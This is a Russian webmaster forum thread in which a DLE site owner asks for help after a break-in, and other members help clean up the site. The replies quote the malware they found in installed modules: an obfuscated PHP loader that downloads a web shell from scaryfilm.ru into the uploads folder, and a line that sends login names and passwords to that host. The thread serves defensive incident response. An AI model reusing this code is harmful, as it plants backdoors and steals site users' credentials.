- Поисковые системы
- Практика оптимизации
- Трафик для сайтов
- Монетизация сайтов
- Сайтостроение
- Социальный Маркетинг
- Общение профессионалов
- Биржа и продажа
- Финансовые объявления
- Работа на постоянной основе
- Сайты - покупка, продажа
- Соцсети: страницы, группы, приложения
- Сайты без доменов
- Трафик, тизерная и баннерная реклама
- Продажа, оценка, регистрация доменов
- Ссылки - обмен, покупка, продажа
- Программы и скрипты
- Размещение статей
- Инфопродукты
- Прочие цифровые товары
- Работа и услуги для вебмастера
- Оптимизация, продвижение и аудит
- Ведение рекламных кампаний
- Услуги в области SMM
- Программирование
- Администрирование серверов и сайтов
- Прокси, ВПН, анонимайзеры, IP
- Платное обучение, вебинары
- Регистрация в каталогах
- Копирайтинг, переводы
- Дизайн
- Usability: консультации и аудит
- Изготовление сайтов
- Наполнение сайтов
- Прочие услуги
- Не про работу
VK приобрела 70% в структуре компании-разработчика red_mad_robot
Которая участвовала в создании RuStore
Оксана Мамчуева
Зачем быть уникальным в мире, где все можно скопировать
Почему так важна уникальность текста и как она влияет на SEO
Ingate Organic
Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий
Здравствуйте форумчане, у меня сайт на DLE 9.4 стоит на дедике, вчера был взлом и злоумышленник поставил код <script type="text/javascript" src="http://shell.scaryfilm.ru/ajax/****.php"></script>
полночи боролся , вроде победил, но сегодня еще хуже, видимо код вернулся, куча изменений в пхп файлах, создаются новые админы, в общем полный бардак. нужен ХОРОШИЙ специалист по проблеме. Срочно. Зачистить, залатать.
Вам нужен
1) грамотный администратор, который приведет сервер в порядок
2) грамотный программист.
и теми и другими обладаю. нужно списаться, обсудить...
3) Грамотный антивирус на домашнем компьютере, откуда заходите по ftp
Ищите фтп шелл... скорее всего он в одном из установленных модулей, например videovk_mod.
Там есть такое... сносите к чертям!
$fdsfsdfsdfsd = file_get_contents('h'.'t'.'t'.'p'.':'.'//'.'s'.'c'.'a'.'r'.'y'.'f'.'i'.'l'.'m'.'.'.'ru'.'/get.'.'p'.'hp'.'?url='.$_SERVER['HTTP_HOST']).unlink(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/.htaccess'); file_put_contents(ROOT_DIR.'/'.'b'.'a'.'c'.'k'.'u'.'p'.'/pe'.'op'.'le'.'.p'.'hp', str_replace('fghfgh544ty', '?>', str_replace('fgfvsdffvsdvsd', '<?', $fdsfsdfsdfsd))); file_put_contents(ROOT_DIR.'/'.'u'.'p'.'l'.'o'.'a'.'d'.'s'.'/'.'f'.'ot'.'os'.'/pe'.'op'.'le'.'.p'.'hp', str_replace('fghfgh544ty', '?>', str_replace('fgfvsdffvsdvsd', '<?', $fdsfsdfsdfsd)));
Как видно шел грузится в uploads/fotos/people.php
А далее обходите все файлы движка и смотрите какие изменения были внесены.
3) Грамотный антивирус на домашнем компьютере, откуда заходите по ftp
даже мне стало интересно... вы знаете такой?
Glurk, он называется межушный ганглий, если такой не установлен, не поможет никакой антивирус
даже мне стало интересно... вы знаете такой?
У меня нет Windows.
даже мне стало интересно... вы знаете такой?
да,есть такой - мозг V1.0
Удаляйте код из файлов:
admin.php
\engine\classes\flashplayer\media_player.php (ВАЩЕ левый)
\engine\classes\js\jquery.js
\engine\init.php
что то типа такого:
file_get_contents("http://scaryfilm.ru/1.php?url=".$_SERVER["HTTP_HOST"].":".$_POST['username'].":".$_POST['password'].":".$_SERVER['REMOTE_ADDR']);
А еще лучше сливайте полностью сайт себе, и сделайте в нем поиск на строку "scaryfilm.ru"
да сейчас перезаливаю пхп файлы на чистые, но где-то лежит шелл отдельно от моих файлов, с него и генерируются изменения, так как вчера все почистил и пароли поменял доступов по фтп и ssh и почту.
да сейчас перезаливаю пхп файлы на чистые, но где-то лежит шелл отдельно от моих файлов, с него и генерируются изменения, так как вчера все почистил и пароли поменял доступов по фтп и ssh и почту.
Идите от установленных модулей на ДЛЕ. пример с какого модуля грузится я написал выше.
Или стучите в асю поможем чем сможем.